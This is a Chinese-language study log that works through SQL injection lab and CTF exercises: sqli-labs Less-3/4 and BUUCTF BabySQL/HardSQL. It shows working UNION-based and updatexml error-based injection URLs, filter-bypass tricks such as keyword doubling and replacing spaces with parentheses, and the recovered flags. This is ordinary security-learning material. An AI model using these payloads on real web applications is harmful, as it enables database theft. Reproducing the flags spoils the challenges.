学习目标:
- 练习题,靶场通关3,4,5
- BUUCTF练习题
学习内容:
1. 练习题3
找到闭合就行,这里的闭合是')单引号加括号,然后依次用order by测试列数,用union select联合语句查询flag。
http://127.0.0.1/sqli-labs-master/Less-3/?id=1')and 1=2 union select 1,database(),flag from security.flags %23

2. 练习题4
同练习题三,本题的闭合是")双引号加括号,就是要联想到后端php的代码是怎样的,比如id=("$id")。
http://127.0.0.1/sqli-labs-master/Less-4/?id=1")and 1=2 union select 1,database(),flag from security.flags %23

3. 极客大挑战BabySQL练习题
首先用HackBar输入账号密码,通过测试发现该题的闭合是'单引号,通过order by语句发现报错,该题设置了语句的过滤,比如or就被过滤掉了。后面通过测试发现许多语句都被过滤掉了,应对这个问题的解决办法就是在被过滤的语句之间添加一个过滤词,比如oorr它只会把中间的or给过滤掉,也就是被删掉了,剩下了or仍然能执行,这就是一个漏洞。


-
-
了解到语句被过滤了之后就能正常获取我们想要的信息了。在被过滤的语句之间添加or就行,or会被过滤删除掉,其他语句就能正常运行了。这里查到了数据库名为geek,然后接着查表和字段,最终把flag查出来。

-
-
最后的flag也成功查询出来了。

4.极客大挑战HardSQL练习题
本题不能输入空格%20,一旦输入了空格就会跳转同一个页面,从而失败。本题还过滤掉了and语句,不让用and,用了and同样跳转到错误的页面,所以用or语句替代and,order by 语句也不能使用了。为了解决空格的问题,可以用()括号替代空格。解这题之前,需要引入报错注入的两个函数。
-
-
- ExtractValue函数,共有2个参数,返回的字符限制在32位,也就是说最多只能显示出32位字符,用concat()函数来触发报错,从而获得我们想要的东西。

-
-
- UpdateXml函数,共有3个参数,同样用concat()函数来进行报错。

-
-
-
这里用updatexml函数举例,成功查询到本题的数据库名为geek。
http://f1bde6f4-0fec-4c33-a52f-5d4bbb124442.node5.buuoj.cn:81/check.php?
username=a&password=1’or(updatexml(1,concat(’’,database(),’’),1))%23

-
-
-
接着就是在updatexml函数修改第二个参数中concat()函数中的第二个参数,注意不能有空格,所以每次要输入空格时就加上括号,把括号当成空格。这里查询到了geek数据库中的数据表,表名为H4rDsq1。
http://f1bde6f4-0fec-4c33-a52f-5d4bbb124442.node5.buuoj.cn:81/check.php?
username=a&password=1’or(updatexml(1,concat(’~’,
(select(group_concat(table_name))from(information_schema.tables)where(table_schema)
like(database())),’~’),1))%23

-
-
-
查完了表H4rDsq1,接着查里面的字段有什么。里面有id,username,password等。
http://f1bde6f4-0fec-4c33-a52f-5d4bbb124442.node5.buuoj.cn:81/check.php?
username=a&password=1’or(updatexml(1,concat(’~’,
(select(group_concat(column_name))from(information_schema.columns)where(table_name)
like(‘H4rDsq1’)),’~’),1))%23

-
-
- 根据之前做题的经验,直接查password里面username为flag的数据就行。在这题里=等于号被过滤了,所以用like语句查询。

-
-
- 最终查询到了一部分的flag,flag{711e427c-e282-41a5-b0a5-5b,前面说过最多只能显示32个字符,所以要用到substr,left,right函数来显示剩下的字符,在这题里substr也被过滤了,所以用right函数。

最后也是查到了另一部分的flag,2-41a5-b0a5-5b587703057e},把它与之前的flag进行拼接,最终得到正确答案的flag,flag{711e427c-e282-41a5-b0a5-5b587703057e},这题也就做完了。
学习总结:
通过练习题的学习,总结出了除了字符注入,还有报错注入,都能够查看到数据库里的数据,以及出题作者增加难度,设置了许多过滤,导致许多语句不能直接使用,甚至有些语句都不让用,需要我们不断去试错,当然多做题可以积累经验,为以后做渗透实验提供思路。
学习产出:
- 复习今日学习 1 遍
- CSDN 技术博客 1 篇
- 练习题4道




